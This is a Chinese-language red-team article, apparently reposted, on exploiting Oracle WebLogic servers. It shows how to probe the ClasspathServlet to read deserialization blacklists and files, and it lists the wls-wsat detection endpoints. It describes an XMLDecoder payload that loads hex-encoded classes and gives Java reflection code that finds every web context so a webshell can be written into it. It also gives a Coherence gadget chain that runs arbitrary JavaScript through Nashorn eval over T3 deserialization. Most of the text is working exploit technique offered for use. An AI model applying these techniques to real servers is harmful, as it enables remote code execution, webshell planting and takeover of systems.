weblogic伺服器的特性為架構龐大複雜,藍隊一般很難防禦,且多部署於外網。而且weblogic的攻擊成本比較低,只要有漏洞,一般可以直接取得目標伺服器的root權限。在攻防演習中被各大攻擊隊,防守方重點關注。
當然,目前網路上公開的各種exp程序,當然也包括我自己的工具,或多或少都有點問題。於是近期在朋友的要求下,整理了部分攻擊方法以及」完美「利用。紅隊可以用來完善自己的工具,藍隊可以用來寫溯源報告。
目前網路上公開的資料中,沒有一種比較好的方法去判斷weblogic是否有漏洞。通常各類工具做法是用exp打一遍,如果成功了就自然存在漏洞,如果失敗了則不存在漏洞。再或者,透過dnslog的方式去探測。這兩種方法受限於各種因素,導致漏報誤報的比例很高。還有可能觸發蜜罐,waf等等安全設備的規則。
當然在這裡我介紹一個更簡單的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名單 。
codebase: 簡單說,codebase就是遠端裝載類別的路徑。當物件傳送者序列化物件時,會在序列化流程中附加上codebase的資訊。這個訊息告訴接收方到什麼地方尋找該物件的執行程式碼。
那我們是不是可以發散一下思維,如果這個類別是weblogic的黑名單類別呢? ?而且weblogic的codebase利用http協定去傳輸類別。
利用方法如下,使用你的瀏覽器,確認好對方是weblogic伺服器後,url如下
T3反序列化的黑名單
http://xx :7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class
xmldecoder 黑名單
http://192.168.119.130:8088///////web wsee/workarea/WorkContextXmlInputAdapter.class
在weblogic.rjvm.InternalWebAppListener#contextInitialized
處程式碼,註冊處理codebasebase的處碼程式碼,也就是請求路徑為classes
if(!server.isClasspathServletDisabled()) { servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"}); }
下面我們來看看weblogic.servlet.ClasspathServlet的處理程式碼,很簡單,就是讀取類別名稱然後寫入到http回應中。
當然,這裡是不是也存在任意檔案讀取漏洞呢?答案是的,只不過有一個黑名單,禁止某些後綴的文件被讀取。黑名單清單如下
理論上講,你也可以透過CODEBASE去讀取使用者的類別下載到本機做程式碼分析。前提是你需要知道使用者的類別名稱是什麼。當然,也有黑名單,黑名單如下
漏洞不做過多介紹,在這裡不談該漏洞的成因原理以及分析。
漏洞偵測的url
ParticipantPortType11RegistrationRequesterPortType11/wls-wsat/CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
#ParticipantPortType
RegistrationRequesterPortType
#CoordinatorPortType11
RegistrationPortTypeRPC11
#該漏洞利用的難點我認為有以下幾個方面2.寫馬的話,可能會遇到路徑的問題。 wenlogic的路徑為隨機,目前網路上公開的解決方法是爆破。 3.怎麼尋找所有的Context?1.網路上只有回顯程式碼,沒有利用程式碼,例如記憶體馬
下面我們來一一解決,以weblogic 10.x的exp為例xmldecoder的xml payload做了以下的工作3.呼叫newInstance方法產生上面被加入到JVM的類別的實例4.呼叫實例的方法以完成攻擊#1 .呼叫weblogic.utils.Hex.fromHexString函數,將hex編碼的class檔案轉換為二進位格式
2.呼叫org.mozilla.classfile.DefiningClassLoader的defineClass方法,將上面的class檔案載入到虛擬機中
payload其實你知道稍微看一下,就知道xmldecoder的寫法,這裡就不再贅述
###上面所有的問題,其實都可以歸結為一個問題,那就是怎麼尋找weblogic下,所有web應用的上下文? ######在這裡我公開一個方法,該方法在weblogic 10/12下經過測試,且不受協議影響,也就是說,你只要能在weblogic裡執行程式碼,我就可以獲得weblogic所有的webcontext。程式碼如下###java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne"); m.setAccessible(true); ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null); List<webappservletcontext> list = new java.util.ArrayList(); StringBuilder sb = new StringBuilder(); for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) { java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children"); childrenF.setAccessible(true); java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime); java.util.Iterator iterator = set.iterator(); while(iterator.hasNext()) { Object key = iterator.next(); if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) { Field contextF = key.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext context = (WebAppServletContext) contextF.get(key); list.add(context); } } } returnlist;</webappservletcontext>
利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()
方法去获取目录的位置,然后写入webshell。
我的代码如下
List<webappservletcontext> contexts = findAllContext(); Iterator<webappservletcontext> i = contexts.iterator(); StringBuilder sb = new StringBuilder(); while(i.hasNext()) { WebAppServletContext context = i.next(); sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath())); } returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>
截图如下
weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。
从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。
注意,不支持1.5以及1.5以下的JVM
在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意
只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图
在nashorn中,默认最后一个变量作为调用本次js的返回值
在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探测的话,参考前面的黑名单下载方式
当然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。
但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。
而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下
image-20210329124530132
当然,corherence gadget处需要修改成如下
private static ChainedExtractor getChainedExtractor() { returnnew ChainedExtractor(new ReflectionExtractor[]{ new ReflectionExtractor( "newInstance", new Object[]{} ), new ReflectionExtractor( "getEngineByName", new Object[]{"nashorn"} ), new ReflectionExtractor( "eval", new Object[]{getJsCode()} ) }); }
以上是weblogic攻擊手法有哪些的詳細內容。更多資訊請關注PHP中文網其他相關文章!